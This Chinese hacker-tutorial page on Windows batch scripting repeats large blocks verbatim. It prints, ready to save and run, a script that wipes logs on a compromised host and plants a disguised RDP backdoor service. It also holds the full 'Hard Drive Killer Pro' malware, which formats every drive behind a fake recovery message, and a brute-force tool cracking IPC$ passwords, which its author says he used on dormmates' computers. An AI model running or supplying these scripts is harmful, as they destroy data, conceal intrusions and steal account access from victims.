------------------------ cut here then save as .bat or .cmd file --------------------------- 
　　下面命令是清除肉雞所有日志，禁止一些危險的服務(wù)，并修改肉雞的terminnal service留跳后路。 
　　@regedit /s patch.dll 
　　@net stop w3svc 
　　@net stop event log 
　　@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q 
　　@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q 
　　@del c:\winnt\system32\config\*.event /f /q 
　　@del c:\winnt\system32dtclog\*.* /f /q 
　　@del c:\winnt\*.txt /f /q 
　　@del c:\winnt\*.log /f /q 
　　@net start w3svc 
　　@net start event log 
　　@rem [刪除日志] 
　　@net stop lanmanserver /y 
　　@net stop Schedule /y 
　　@net stop RemoteRegistry /y 
　　@del patch.dll 
　　@echo The server has been patched,Have fun. 
　　@del patch.bat 
　　@REM [禁止一些危險的服務(wù)。] 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll 
　　@echo "PortNumber"=dword:00002010 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll 
　　@echo "PortNumber"=dword:00002012 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll 
　　@echo "Start"=dword:00000002 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll 
　　@echo "Start"=dword:00000002 >>patch.dll 
　　@echo "ErrorControl"=dword:00000001 >>patch.dll 
　　@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll 
　　@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll 
　　@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 
　　@echo "ObjectName"="LocalSystem" >>patch.dll 
　　@echo "Type"=dword:00000010 >>patch.dll 
　　@echo "Description"="Keep record of the program and windows message。" >>patch.dll 
　　@echo "DisplayName"="Microsoft EventLog" >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll 
　　@echo "Start"=dword:00000004 >>patch.dll 
　　@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe 
　　@REM [修改3389連接，端口為8210(十六進(jìn)制為00002012)，名稱為Microsoft EventLog，留條后路] 
3.Hard Drive Killer Pro Version 4.0（玩批處理到這個水平真的不容易了。） 
　　------------------------ cut here then save as .bat or .cmd file --------------------------- 
　　@echo off 
　　rem This program is dedecated to a very special person that does not want to be named. 
　　:start 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　call attrib -r -h c:\autoexec.bat >nul 
　　echo @echo off >c:\autoexec.bat 
　　echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat 
　　call attrib +r +h c:\autoexec.bat >nul 
　　rem Drive checking and assigning the valid drives to the drive variable. 
　　set drive= 
　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z 
　　rem code insertion for Drive Checking takes place here. 
　　rem drivechk.bat is the file name under the root directory. 
　　rem As far as the drive detection and drive variable settings, dont worry about how it 
　　rem works, its d\*amn to complicated for the average or even the expert batch programmer. 
　　rem Except for Tom Lavedas. 
　　echo @echo off >drivechk.bat 
　　echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat 
　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
　　del {t}.bat 
　　echo if errorlevel 1 goto enddc >>drivechk.bat 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　rem When errorlevel is 1, then the above is not true, if 0, then its true. 
　　rem Opposite of binary rules. If 0, it will elaps to the next command. 
　　echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat 
　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
　　del {t}.bat 
　　echo if errorlevel 1 goto enddc >>drivechk.bat 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 
　　rem if errorlevel is 0, then it will elaps to the next command. 
　　echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat 
　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
　　del {t}.bat 
　　echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 
　　rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. 
echo :enddc >>drivechk.bat 
　　rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 
　　rem Now we will use the program drivechk.bat to attain valid drive information. 
　　:Sampledrv 
　　for %%a in (%alldrive%) do call drivechk.bat %%a >nul 
　　del drivechk.bat >nul 
　　if %drive.==. set drive=c 
　　:form_del 
　　call attrib -r -h c:\autoexec.bat >nul 
　　echo @echo off >c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat 
　　echo cd\ >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat 
　　echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat 
　　echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat 
　　echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat 
　　echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat 
　　echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat 
　　echo echo. >>c:\autoexec.bat 
　　echo echo Regards, >>c:\autoexec.bat 
　　echo echo. >>c:\autoexec.bat 
　　echo echo Munga Bunga >>c:\autoexec.bat 
　　call attrib +r +h c:\autoexec.bat 
　　:makedir 
　　if exist c:\temp.bat attrib -r -h c:\temp.bat >nul 
　　echo @echo off >c:\temp.bat 
　　echo %%1:\ >>c:\temp.bat 
　　echo cd\ >>c:\temp.bat 
　　echo :startmd >>c:\temp.bat 
　　echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat 
　　echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat 
　　echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat 
　　call attrib +r +h c:\temp.bat >nul 
　　cls 
　　echo Initializing Variables . . . 
　　rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. 
　　for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　echo Analyzing System Structure . . . 
　　for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul 
　　call attrib +r +h c:\temp.bat >nul 
　　call attrib +r +h c:\autoexec.bat >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　echo Analyzing System Structure . . . 
　　echo Initializing Application . . . 
　　for %%a in (%drive%) call deltree /y %%a:\*. >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　echo Analyzing System Structure . . . 
　　echo Initializing Application . . . 
　　echo Starting Application . . . 
　　for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul 
　　cls 
　　echo Thank you for using a Munga Bunga product. 
　　echo. 
　　echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 
　　echo. 
　　echo Here is a joke for you . . . 
　　echo. 
　　echo Q). Whats the worst thing about being an egg? 
　　echo A). You only get laid once. 
　　echo. 
　　echo HAHAHAHA, get it? Dont you just love that one? 
　　echo. 
　　echo Regards, 
　　echo. 
　　echo Munga Bunga 
　　:end 
　　rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 
　　rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). 
六.精彩實(shí)例放送。 
　　1.刪除win2k/xp系統(tǒng)默認(rèn)共享的批處理 
　　------------------------ cut here then save as .bat or .cmd file --------------------------- 
　　@echo preparing to delete all the default shares.when ready pres any key. 
　　@pause 
　　@echo off 
　　:Rem check parameters if null show usage. 
　　if {%1}=={} goto :Usage 
　　:Rem code start. 
　　echo. 
　　echo ------------------------------------------------------ 
　　echo. 
　　echo Now deleting all the default shares. 
　　echo. 
　　net share %1$ /delete 
　　net share %2$ /delete 
　　net share %3$ /delete 
　　net share %4$ /delete 
　　net share %5$ /delete 
　　net share %6$ /delete 
　　net share %7$ /delete 
　　net share %8$ /delete 
　　net share %9$ /delete 
　　net stop Server 
　　net start Server 
　　echo. 
　　echo All the shares have been deleteed 
　　echo. 
　　echo ------------------------------------------------------ 
　　echo. 
　　echo Now modify the registry to change the system default properties. 
　　echo. 
　　echo Now creating the registry file 
　　echo Windows Registry Editor Version 5.00> c:\delshare.reg 
　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg 
　　echo "AutoShareWks"=dword:00000000>> c:\delshare.reg 
　　echo "AutoShareServer"=dword:00000000>> c:\delshare.reg 
　　echo Nowing using the registry file to chang the system default properties. 
　　regedit /s c:\delshare.reg 
　　echo Deleting the temprotarily files. 
　　del c:\delshare.reg 
　　goto :END 
　　:Usage 
　　echo. 
　　echo ------------------------------------------------------ 
　　echo. 
　　echo ☆ A example for batch file ☆ 
　　echo ☆ [Use batch file to change the sysytem share properties.] ☆ 
　　echo. 
　　echo Author：Ex4rch 
　　echo Mail:Ex4rch@hotmail.com QQ:1672602 
　　echo. 
　　echo Error：Not enough parameters 
　　echo. 
　　echo ☆ Please enter the share disk you wanna delete ☆ 
　　echo. 
　　echo For instance，to delete the default shares: 
　　echo delshare c d e ipc admin print 
　　echo. 
　　echo If the disklable is not as C: D: E: ，Please chang it youself. 
　　echo. 
　　echo example： 
　　echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： 
　　echo delshare c d e x y z ipc admin print 
　　echo. 
　　echo *** you can delete nine shares once in a useing *** 
　　echo. 
　　echo ------------------------------------------------------ 
　　goto :EOF 
　　:END 
　　echo. 
　　echo ------------------------------------------------------ 
　　echo. 
　　echo OK,delshare.bat has deleted all the share you assigned. 
　　echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. 
　　echo 
　　echo. 
　　echo ------------------------------------------------------ 
　　echo. 
　　:EOF 
　　echo end of the batch file 
　　------------------------ cut here then save as .bat or .cmd file --------------------------- 
2.全面加固系統(tǒng)（給肉雞打補(bǔ)?。┑呐幚砦募?nbsp;
　　------------------------ cut here then save as .bat or .cmd file --------------------------- 
　　@echo Windows Registry Editor Version 5.00 >patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll 
　　@echo "AutoShareServer"=dword:00000000 >>patch.dll 
　　@echo "AutoShareWks"=dword:00000000 >>patch.dll 
　　@REM [禁止共享] 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll 
　　@echo "restrictanonymous"=dword:00000001 >>patch.dll 
　　@REM [禁止匿名登錄] 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll 
　　@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll 
　　@REM [禁止及文件訪問和打印共享] 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll 
　　@echo "Start"=dword:00000004 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll 
　　@echo "Start"=dword:00000004 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll 
　　@echo "ShutdownWithoutLogon"="0" >>patch.dll 
　　@REM [禁止登錄前關(guān)機(jī)] 
　　@echo "DontDisplayLastUserName"="1" >>patch.dll 
　　@REM [禁止顯示前一個登錄用戶名稱] 
　　@regedit /s patch.dll 
------------------------ cut here then save as .bat or .cmd file --------------------------- 
　　下面命令是清除肉雞所有日志，禁止一些危險的服務(wù)，并修改肉雞的terminnal service留跳后路。 
　　@regedit /s patch.dll 
　　@net stop w3svc 
　　@net stop event log 
　　@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q 
　　@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q 
　　@del c:\winnt\system32\config\*.event /f /q 
　　@del c:\winnt\system32dtclog\*.* /f /q 
　　@del c:\winnt\*.txt /f /q 
　　@del c:\winnt\*.log /f /q 
　　@net start w3svc 
　　@net start event log 
　　@rem [刪除日志] 
　　@net stop lanmanserver /y 
　　@net stop Schedule /y 
　　@net stop RemoteRegistry /y 
　　@del patch.dll 
　　@echo The server has been patched,Have fun. 
　　@del patch.bat 
　　@REM [禁止一些危險的服務(wù)。] 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll 
　　@echo "PortNumber"=dword:00002010 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll 
　　@echo "PortNumber"=dword:00002012 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll 
　　@echo "Start"=dword:00000002 >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll 
　　@echo "Start"=dword:00000002 >>patch.dll 
　　@echo "ErrorControl"=dword:00000001 >>patch.dll 
　　@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll 
　　@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll 
　　@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 
　　@echo "ObjectName"="LocalSystem" >>patch.dll 
　　@echo "Type"=dword:00000010 >>patch.dll 
　　@echo "Description"="Keep record of the program and windows message。" >>patch.dll 
　　@echo "DisplayName"="Microsoft EventLog" >>patch.dll 
　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll 
　　@echo "Start"=dword:00000004 >>patch.dll 
　　@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe 
　　@REM [修改3389連接，端口為8210(十六進(jìn)制為00002012)，名稱為Microsoft EventLog，留條后路] 
3.Hard Drive Killer Pro Version 4.0（玩批處理到這個水平真的不容易了。） 
　　------------------------ cut here then save as .bat or .cmd file --------------------------- 
　　@echo off 
　　rem This program is dedecated to a very special person that does not want to be named. 
　　:start 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　call attrib -r -h c:\autoexec.bat >nul 
　　echo @echo off >c:\autoexec.bat 
　　echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat 
　　call attrib +r +h c:\autoexec.bat >nul 
　　rem Drive checking and assigning the valid drives to the drive variable. 
　　set drive= 
　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z 
　　rem code insertion for Drive Checking takes place here. 
　　rem drivechk.bat is the file name under the root directory. 
　　rem As far as the drive detection and drive variable settings, dont worry about how it 
　　rem works, its d\*amn to complicated for the average or even the expert batch programmer. 
　　rem Except for Tom Lavedas. 
　　echo @echo off >drivechk.bat 
　　echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat 
　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
　　del {t}.bat 
　　echo if errorlevel 1 goto enddc >>drivechk.bat 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　rem When errorlevel is 1, then the above is not true, if 0, then its true. 
　　rem Opposite of binary rules. If 0, it will elaps to the next command. 
　　echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat 
　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
　　del {t}.bat 
　　echo if errorlevel 1 goto enddc >>drivechk.bat 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 
　　rem if errorlevel is 0, then it will elaps to the next command. 
　　echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat 
　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
　　del {t}.bat 
　　echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 
　　cls 
　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
　　rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 
　　rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. 
　　echo :enddc >>drivechk.bat 
　　rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 
　　rem Now we will use the program drivechk.bat to attain valid drive information. 
　　:Sampledrv 
　　for %%a in (%alldrive%) do call drivechk.bat %%a >nul 
　　del drivechk.bat >nul 
　　if %drive.==. set drive=c 
　　:form_del 
　　call attrib -r -h c:\autoexec.bat >nul 
　　echo @echo off >c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 
　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat 
　　echo cd\ >>c:\autoexec.bat 
　　echo cls >>c:\autoexec.bat 
　　echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat 
　　echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat 
　　echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat 
　　echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat 
　　echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat 
　　echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat 
　　echo echo. >>c:\autoexec.bat 
　　echo echo Regards, >>c:\autoexec.bat 
　　echo echo. >>c:\autoexec.bat 
　　echo echo Munga Bunga >>c:\autoexec.bat 
　　call attrib +r +h c:\autoexec.bat 
　　:makedir 
　　if exist c:\temp.bat attrib -r -h c:\temp.bat >nul 
　　echo @echo off >c:\temp.bat 
　　echo %%1:\ >>c:\temp.bat 
　　echo cd\ >>c:\temp.bat 
　　echo :startmd >>c:\temp.bat 
　　echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat 
　　echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat 
　　echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat 
　　call attrib +r +h c:\temp.bat >nul 
　　cls 
　　echo Initializing Variables . . . 
　　rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. 
　　for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　echo Analyzing System Structure . . . 
　　for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul 
　　call attrib +r +h c:\temp.bat >nul 
　　call attrib +r +h c:\autoexec.bat >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　echo Analyzing System Structure . . . 
　　echo Initializing Application . . . 
　　for %%a in (%drive%) call deltree /y %%a:\*. >nul 
　　cls 
　　echo Initializing Variables . . . 
　　echo Validating Data . . . 
　　echo Analyzing System Structure . . . 
　　echo Initializing Application . . . 
　　echo Starting Application . . . 
　　for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul 
　　cls 
　　echo Thank you for using a Munga Bunga product. 
　　echo. 
　　echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 
　　echo. 
　　echo Here is a joke for you . . . 
　　echo. 
　　echo Q). Whats the worst thing about being an egg? 
　　echo A). You only get laid once. 
　　echo. 
　　echo HAHAHAHA, get it? Dont you just love that one? 
　　echo. 
　　echo Regards, 
　　echo. 
　　echo Munga Bunga 
　　:end 
　　rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 
　　rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). 
　　No.7 
　　七、致謝&一些廢話 
　　謹(jǐn)以此文獻(xiàn)給所有為實(shí)現(xiàn)網(wǎng)絡(luò)的自由與共享而努力的朋友們。感謝所有共享他們作品的朋友們，讓我們?yōu)槲覀兊睦硐胍黄鹋Γ。?nbsp;
　　部分內(nèi)容來自Ex4rchhttp://www.sometips.com（很好的一個...淙幌緣糜械闥繕?/a>^_^）。再次特別感謝！ 
=========================================================================
假如知道一個NT帳戶與密碼，就可以用 
　　net use \\主機(jī)\ipc$ "密碼" /user:"用戶" 
　　與遠(yuǎn)程主機(jī)建立連接，這是每一個黑客或是夢想成為又或是正在努力成為黑客的朋友都知道的方法，甚至連我這個連菜鳥都算不上的小鳥都知道，我也僅僅知道這一條，我就用我僅僅知道的這一條在宿舍網(wǎng)里進(jìn)入別人的電腦，因?yàn)樗麄兊碾娔X密碼都為空，被他們發(fā)現(xiàn)了之后狠K了一頓，然后紛紛加上了密碼，這下可沒戲了，想去偷窺他們的密碼他們又防范得緊，只得想其他辦法，也許各位大蝦們就會利用其他方法，諸如尋找系統(tǒng)之類得到管理權(quán)限，而我不行，因?yàn)槲仪懊嬲f過，我只會那一條，那又會有人說用軟件暴力破解密碼就可以了，也許不錯，但首先我沒有那些高深的軟件也沒有天賦去研究那些復(fù)雜的用法，卻在無意間看DOS幫助時發(fā)現(xiàn)了一些命令，當(dāng)真是天無絕人之路： 
　　1、字典：for /f %i in (字典文件) do net use \\主機(jī)\ipc$ "%i" /user:"用戶" 
　　2、數(shù)字：for /l %i in (start,step,end) do net use \\主機(jī)\ipc$ "%i" /user:"用戶" 
　　以上可參看DOS里面for幫助，還別說，真讓我給連上幾臺機(jī)子，可問題也隨之而來，連是連上了，我仍然不知道密碼，下次要用還得重新全部試過。 
　　正失望，無意間又發(fā)現(xiàn)了一個好方法，也許是我太笨，也許你們更聰明，，說不定你們早已經(jīng)發(fā)現(xiàn)了，不再說廢話，下面就將方法全部給出，請各位大蝦指正： 
　　將下面文件存為pass.bat: 
　　@echo off 
　　echo ---------------------------------------- >>c:\pass.txt 
　　echo ---------------------------------------- >>c:\pass.txt 
　　date /t >>c:\pass.txt 
　　time /t >>c:\pass.txt 
　　echo 破解結(jié)果： >>c:\pass.txt 
　　if "%6"=="1" goto shit2 
　　:shit1 
　　start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 
　　goto quit 
　　:shit2 
　　start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 
　　:quit 
　　將下面文件存為test.bat: 
　　net use \\%1\ipc$ %2 /user:"%3" 
　　goto answer%ERRORLEVEL% 
　　rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果，net use成功返回0，失敗返回2 
　　:answer0 
　　echo 遠(yuǎn)程主機(jī)："%1" >>c:\pass.txt 
　　echo 用 戶："%3" >>c:\pass.txt 
　　echo 密 碼：%2 >>c:\pass.txt 
　　net use \\%1\ipc$ /delet 
　　exit 
　　:answer2 
　　將pass.bat與test.bat存放于system32中，用法如下： 
　　1、如果用字典破解：pass.bat 字典文件路徑及名稱 主機(jī) 用戶名 
　　2、如果用數(shù)字破解：pass.bat 起始數(shù) 步長 結(jié)束數(shù) 主機(jī) 用戶名 1 
　　密碼破解出來之后，存放于c:\pass.txt文件里面。 
　　另外，我做的這些只是在局域網(wǎng)內(nèi)測試，如果遠(yuǎn)程測試，受網(wǎng)速限制，具體情況只能靠自己去摸索。

最新評論